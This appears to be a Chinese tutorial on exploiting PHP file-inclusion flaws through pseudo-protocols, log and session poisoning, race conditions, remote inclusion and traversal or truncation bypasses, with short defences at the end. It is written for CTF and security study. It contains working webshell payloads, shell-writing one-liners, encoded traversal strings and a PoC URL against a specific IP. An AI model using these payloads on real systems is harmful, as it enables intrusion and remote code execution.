一、文件包含与伪协议

什么是文件包含

通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。未经检验,文本当代码使用。

环境要求

  • allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
  • allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

造成原因

常见导致文件包含的函数

  • PHP: include(), include_once(), require(),require_once(),fopen(),readfile()等。
  • JSP Servlet:ava.io.File()java.io.FileReader()等函数
  • ASP:includefile,includevirtual
函数 释义
include() 找不到被包含的文件时只会产生一个(E_warinng)警告,脚本将继续执行;
include_once() 引用一次,找不到path会发出警告
require() 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本
require_once() 与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含;
fopen() 打开一个文件
readfile(filename) 读取文件并输出到缓冲区

require和include都支持相对或绝对路径。

利用前提条件

  1. 源代码中应用到了include等文件包含函数,并且需要包含的文件路径是通过用户传参的方式引入。
  2. 用户能够控制包含文件的参数,被包含的文件可被当前页面访问。
<?php
$file = $_GET['file'];
if (file_exists('/home/wwwrun/'.$file.'.php')) {include '/home/wwwrun/'.$file.'.php';
}
?>

如上代码,file变量为用户输入变量,如果满足第二条被包含的文件可被访问,则存在文件包含漏洞

特征

  1. 文件包含不仅可以包含脚本类型的文件,也可包含非脚本类型的文件
  2. 文件包含可以包含任意文件 ===》检测文件内容是否能被解析执行
  3. -----xx.com/xxxx/xxx.php?file=xx.txt,xx.txt 文件写入 <?php phpinfo(); ?> 文件内包含php代码,应该会被打印在屏幕上
  4. 变量的值为一个页面,?page=a.php

PHP声明语法

  • <?php phpinfo(); ?>
  • <? phpinfo(); ?>
  • <script language="php">phpinfo();</script>

利用思路

  1. 上传文件中包含一句话木马========》任意类型文件(可以上传的文件类型)

  2. 调用文件包含的参数用户可控

  3. 文件上传的功能+文件包含漏洞

    =======》文件包含功能去包含带有一句话木马的恶意文件

    =======》shell.jpg < <?php @eval($_POST['cmd']);?>

    =======》include(‘shell.jpg’)

二、本地文件包含

0x01、php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

1.利用条件:

  1. allow_url_include = On。
  2. 对allow_url_fopen不做要求。

示例代码

<?php$page = $_GET['file'];include($file);?>

2.poc

?file=php://inputpost:
<?php phpinfo()?>
命令执行
<?php system("ls"); ?>

poc如下图所示

利用php://input还可以写入php木马,在post中传入如下代码

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

3.例题

题目链接:https://ctf.show/challenges#web3-8
web3-8文件包含

0x02、php://filter

php://filter是一种元封装器,设计用于"数据流打开"时的"筛选过滤"应用。这对于一体式(all-in-one)的文件函数非常有用,类似readfile()、file()、file_get_contens(),在数据流内容读取之前没有机会应用其他过滤器,此类伪协议在文件包含漏洞的考察中很常见。

示例代码

<?php $page = $GET['file']; include($file.'php'); ?>

1.poc

php://filter/convert.base64-encode/resource=index

如果不用base64进行编码,包含的内容是index.php的源代码,会直接运行,不可直接查看内容,进行base64编码之后读取,然后再本地解码即可。此处需记得PD9开头的base64编码为<?php.

当然php://filter也可用来写

php://filter/write/convert.base64-decode/resource=shell.php,可以配合file_put_contents使用,

<?file_put_contents("php://filter/write/convert.base64-decode/resource=shell.php","PD9waHAgcGhwaW5mbygpPz4=");?>

2.example

 <?php
$c = "<?php exit;?>";
@$c.=$_GET['c'];
@$filename = $_GET['file'];
if(preg_match("/index/",$filename)){die("U Think Toooo000000000000o MUCH!");}
if(preg_match("/flag/",$filename)){die("U Think Toooo000000000000o MUCH!");}
@file_put_contents($filename, $c);
@highlight_file('index.php');
@highlight_file($filename);
?>

poc

http://96.45.183.46:7002/lfi_bypass/?c=aPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=&file=php://filter/write/convert.base64-decode/resource=234.php

3.tips

当源码为include($file.'php');时,poc最后只需要写index即可,当源码为include($file);时,poc需填写index.php

php://filter妙用

# index.php
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){exit('hacker!');
}
if($file){include($file);
}else{echo '<a href="?file=flag.php">tips</a>';
}
?>
#flag.php<?php phpinfo();
# flag{this is flag}
?>

base64解码获取flag

0x03、zip://

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。与phar://类似。区别为,压缩包中的子文件读取使用#而不是/

1.tips

  • zip://中只能传入绝对路径。
  • 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
  • 只需要是zip的压缩包即可,后缀名可以任意更改。
  • 相同的类型的还有zlib://和bzip2://

2.poc

zip://[压缩包绝对路径]#[压缩包内文件]
?file=zip://D:\zip.jpg %23 phpinfo.php

3.测试注意事项

条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php

0x04、phar://

1.适用场景:

  1. 可以上传文件,但不能直接getshell。
  2. 存在文件包含漏洞

示例代码:

<?php$page = $_GET['page'];include($page);
?>

2.解决过程(poc)

首先创建压缩包。tar -cvf 111.phar shell.php,上传之后,文件包含。

payload:http://127.0.0.1:8800/admin.php?page=phar://111.phar/shell.php

0x05、data://

  • ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

  • ?file=data://text/plain,

0x06、包含Apache日志文件

WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。

利用条件

  • 对日志可读
  • 知道日志文件的存储目录

tips

  • 一般情况下日志存储的目录会被修改,需要读取服务器配置文件(httpd.conf,nginx.conf…)或者根据phpinfo()中的信息来得知
  • 日志记录的信息都可以被调整,比如记录报错的等级或者内容格式

Apache运行后一般默认会生成两个日志文件

  • windows:access.log(访问日志) error.log(错误日志)
  • linux: access_log error_log

攻击流程(poc)

  1. 访问一个不存在的资源时,如http://www.xxxx.com/<?php phpinfo(); ?>,此时这段代码会被记录在日志中。代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把<?php phpinfo(); ?> 写入apache的日志文件
  2. 通过包含日志文件来执行此代码。需知道apache日志文件的存储路径

0x07、包含environ (user-agent)

/proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

利用条件:

  1. php以cgi方式运行,这样environ才会保持UA头。
  2. environ文件存储位置已知,且environ文件可读。

查看php运行方式需查看此处,正常是这种情况

php以cgi方式运行如下

0x08、包含session文件

可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。

利用条件

  • 找到Session内的可控变量

  • session文件路径已知,且其中内容部分可控。

php的session文件的保存路径可以在phpinfo的session.save_path看到。

常见的php-session存放位置:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

tips

  • session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

  • Php7.3之前的版本可以用session_id

  • 要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

示例

<?phpsession_start();$ctfs=$_GET['ctfs'];$_SESSION["username"]=$ctfs;?>

session_start()解释:

  1. session的工作原理

    1. 首先使用session_start()函数进行初始换
    2. 当执行PHP脚本时,通过使用SESSION超全局变量注册session变量。
    3. 当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.savepath指定,下次浏览网页时可以加载使用。
  2. sessionstart()做了哪些初始化工作

    1. 读取名为PHPSESSID(如果没有改变默认值)的cookie值,假使为abc123

    2. 若读取到PHPSESSID这个COOKIE,创建SESSION变量,并从相应的目录中(可以再php.ini中设置)读取SESSabc123(默认是这种命名方式)文件,将字符装在入SESSION变量中;若没有读取到PHPSESSID这个COOKIE,也会创建_SESSION超全局变量注册session变量。同时创建一个sess_abc321(名称为随机值)的session文件,同时将abc321作为PHPSESSID的cookie值返回给浏览器端。

例题

“百度杯”CTF比赛 十二月场 notebook

0x09、LFI + session.upload_progress

  • 利用条件:

    1. session.upload_progress.enabled = on
    2. 存在文件包含的点(不需要上传点)
  • 漏洞原理:

    Session upload progress在打开的情况下,如果上传一个与session.upload_progress.name 同名的变量,会生成一个记录上传进度的文件,该文件存储在/var/lib/php/sessions/session_{php session id}

    session.upload_progress.cleanup
    这个变量是用来控制进度文件的清除的,如果设成on的话啊,需要进行条件竞争。

0x10、包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考LFI With PHPInfo Assistance

类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题:XMAN夏令营-2017-babyweb-writeup

0x11、包含上传文件

如果上传功能限制很死,可上传一个含小马的非脚本文件(或 通过FTP等手段),在通过包含漏洞执行该文件里的小马。

图片马的制作方式如下,在cmd控制台下输入:

进入1.jph和2.php的文件目录后,执行:copy  1.jpg/b+2.php  3.jpg将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg

假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
图片代码如下:

shell1

<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>

shell2

file_put_contents(文件名,文件内容);file_put_contents("shell.php","<?php phpinfo()?>");
# 将小马base64编码后运用php://filter写入shell.php<?file_put_contents("php://filter/write/convert.base64-decode/resource=shell.php","PD9waHAgcGhwaW5mbygpPz4=");?>

然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php

0x12、LFI + 文件上传 + 条件竞争

  • 利用条件:

    1. 文件包含点
    2. phpinfo页面
  • 漏洞原理:

    在php文件上传的时候,会针对上传的文件产生一个临时文件(一般在/tmp目录下),当用户确认了文件的上传后,会把该文件移动到指定的位置。而这个文件的文件名可以通过phpinfo页面看到,进一步地,可以使用文件包含包含他(需要条件竞争)。

    但是,我们不能等到phpinfo完全返回后再去文件包含,因为那个时候临时文件已经删除了,因此我们需要在socket底层对数据进行监听,一旦出现/tmp/xxxx,就立即发送文件包含的攻击payload。

0x13、LFI_self

  • 利用条件:

    1. 文件包含点
    2. 目录遍历tmp目录
  • 漏洞原理:

    比如该url存在文件包含漏洞:http://ip:port/file.php?file=1.txt,那么,直接包含自身会造成无限循环:http://ip:port/file.php?file=file.php。如果向该无限循环的地址put上传文件,则产生临时文件,该临时文件会在该php文件正常结束时被删除,但提交的请求造成了死循环,php会清空自己的内存堆栈,以便从错误中恢复过来,这时对临时文件的删除操作就无法完成,当跳出这个周期后,这个临时文件形式保存在/tmp目录下了。结合目录遍历+文件包含的漏洞组合即可利用。

三、远程文件包含

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置

  1. allow_url_fopen = On
  2. allow_url_include = On

两个配置选项均需要为On,才能远程包含文件成功。

在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

?file=[http|https|ftp]://example.com/shell.txt

一句话木马:

<?php print_r(scandir('.'));?>

四、文件包含漏洞的绕过方法

0x01、指定前缀绕过

一、目录遍历(常见)

使用 …/…/ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=…/…/phpinfo/phpinfo.php
测试代码如下:

<?phperror_reporting(0);$file = $_GET["file"];//前缀include "/var/www/html/".$file;highlight_file(__FILE__);
?>

现在在/var/log目录下有文件flag.txt,则利用…/可以进行目录遍历,比如我们尝试访问:

则服务器端实际拼接出来的路径为:/var/www/html/…/…/log/test.txt,即 /var/log/flag.txt,从而包含成功。

二、编码绕过

服务器端常常会对于…/等做一些过滤,可以用一些编码来进行绕过。

  1. 利用url编码
  • …/

    • %2e%2e%2f
    • …%2f
    • %2e%2e/
  • …\

    • %2e%2e%5c
    • …%5c
    • %2e%2e\
  1. 二次编码
  • …/

    • %252e%252e%252f
  • …\
    • %252e%252e%255c
  1. 容器/服务器的编码方式
  • …/

    • …%c0%af
    • %c0%ae%c0%ae/
      • 注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
        Apache Tomcat Directory Traversal
  • …\
    • …%c1%9c

0x02、指定后缀绕过

后缀绕过测试代码如下,下述各后缀绕过方法均使用此代码:

<?phperror_reporting(0);$file = $_GET["file"];//后缀include $file.".txt";highlight_file(__FILE__);
?>

一、利用url

在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。

完整url格式:

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

query(?)

  • [访问参数] ?file=http://localhost:8081/phpinfo.php?
  • [拼接后]  ?file=http://localhost:8081/phpinfo.php?.txt

二、利用协议

利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。

zip://

  • [访问参数] ?file=zip://D:\zip.jpg%23phpinfo

  • [拼接后]  ?file=zip://D:\zip.jpg#phpinfo.txt

phar://

  • [访问参数]?file=phar://zip.zip/phpinfo
  • [拼接后]  ?file=phar://zip.zip/phpinfo.txt

0x03、长度截断

利用条件:

php版本 < php 5.2.8

原理:

Windows下目录最大长度为256字节,超出的部分会被丢弃
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
利用方法:

只需要不断的重复 ./(Windows系统下也可以直接用 . 截断)

  ?file=./././。。。省略。。。././shell.php

则指定的后缀.txt会在达到最大值后会被直接丢弃掉

0x04、%00截断

利用条件:

  • magic_quotes_gpc = Off
  • php版本 < php 5.3.4

利用方法:

  • 直接在文件名的最后加上%00来截断指定的后缀名

      ?file=shell.php%00
    

注:现在用到%00阶段的情况已经不多了

五、文件包含漏洞防御

  • allow_url_include和allow_url_fopen最小权限化
  • 设置open_basedir(open_basedir 将php所能打开的文件限制在指定的目录树中)
  • 白名单限制包含文件,或者严格过滤 . / *

文件包含漏洞总结都在这里了相关推荐

  1. php常见后缀绕过,文件包含漏洞(绕过姿势)

    文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接.但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识.俗话说,知己知彼方能百战不殆,因此 ...

  2. php 00截断,文件上传之\00截断与文件包含之%00截断 文件包含漏洞详解 – jinglingshu的博客...

    首先要明确\00截断与%00截断的关系:00截断就是将上传文件的文件名或路径名中使用ascii码值为0的字符进行截断来达到突破上传限制的目的,而%00一般用在URL中用于截断url来进行文件包含.两者 ...

  3. 文件包含漏洞及PHP伪协议

    文件包含漏洞及PHP伪协议 文件包含漏洞 1. 原理 攻击利用的原理 攻击成功的条件 2. 分类 本地文件包含 LFI的利用 远程文件包含 3. 文件包含漏洞防范 禁止0字节 在PHP中配置open_ ...

  4. 一个云本地文件包含漏洞,影响世界一流公司

    本文讲的是一个云本地文件包含漏洞,影响世界一流公司,先通过一张截图看一下影响范围吧 本地文件包含是在Oracle Responsys的云服务中存在的.什么是Responsys?它是企业级基于云的B2C ...

  5. phpinfo.php ctf,这你不是你所常见的PHP文件包含漏洞(利用phpinfo)

    0x01 前言 看到文件包含(+phpinfo ) 的问题,在上次众测中出现此题目,如果没打过CTF,可能真的很少见到这种问题,当然作为小白的我,也是很少遇到,毕竟都是第一次,那就来总结一波经验和操作 ...

  6. 文件包含中过滤了php,文件包含漏洞---php协议

    一.原理 1.概念:在php代码中,总会有一些代码我们会经常用到,这时引入了文件包含函数,可以通过文件包含函数把这些代码文件包含进来,直接使用文件中的代码,这样提高了我们的工作效率. 2.文件包含函数 ...

  7. Web安全之文件包含漏洞

    什么是文件包含 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件.而无需再次编写,这种 文件调用的过程一般被称为文件包含. 例如:include "conn ...

  8. 文件包含漏洞——DVWA练习

    前言:在学习文件上传时,制作的图片马需要我们手动去解析,而解析的方法就算用到了文件包含漏洞,所以这次就来学习一下文件包含漏洞. 文件包含漏洞简介 (一)文件包含可以分为本地文件包含和远程文件包含两种. ...

  9. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

最新文章

  1. 大数据笔记(六)——HDFS的底层原理:JAVA动态代理和RPC
  2. Linux下Makefile学习笔记
  3. Coding:实现memcpy函数
  4. Hadoop-rpc调用案例,服务端,客户端代码案例
  5. 暑假周总结二7.22
  6. 蛋制品加工行业调研报告 - 市场现状分析与发展前景预测(2021-2027年)
  7. 【Codeforces 1426 E】Rock, Paper, Scissors,贪心!算反面
  8. Jexus 配置ssl
  9. 阶段1 语言基础+高级_1-3-Java语言高级_07-网络编程_第3节 综合案例_文件上传_3_综合案例_文件上传案例的服务器端...
  10. 无刷直流电机四象限matlab pudn,Matlabmodel 在分析无刷直流电机 BLDC 数学模型的基础上 提出了无刷直 联合开发网 - pudn.com...
  11. SCI收录期刊——声学学科 (转载)
  12. 开会的五有五不四框架
  13. Xi说孔方兄之名字由来
  14. IIS6,IIS7,IIS8的脚本自动安装
  15. 百度LBS开放平台Android SDK产品使用
  16. java对接paypal支付应用实例 (v2)
  17. MySQL数据库相关资料
  18. 计算机处理器ghz,电脑CPU的GHZ代表什么?比如1.7GHZ、2.2GHZ??
  19. node版本管理工具gnvm
  20. 用Python编写账号密码登录程序

热门文章

  1. 高级UI - Paint基本使用.高级渲染使用(最后实现放大镜效果)
  2. “新力”才是长沙新消费品牌“爆炸”生长的特殊养料
  3. ROS机器人编程:原理与应用(A Systematic Approach to Learning Robot Programming with ROS 中文译版)
  4. mysql shell 8.0.11_Mysql8.0.11
  5. Wwise工程里,音频文件不出声
  6. android开发将h5转换成pdf_如何将PDF转换成图片?搞定PDF格式转换,就用这招就够了!...
  7. 【北京】亚洲微软研究院-微软游记
  8. css 背景图片渐变
  9. 文件的相对路径和绝对路径,加载资源文件失败
  10. ROS配置Robotiq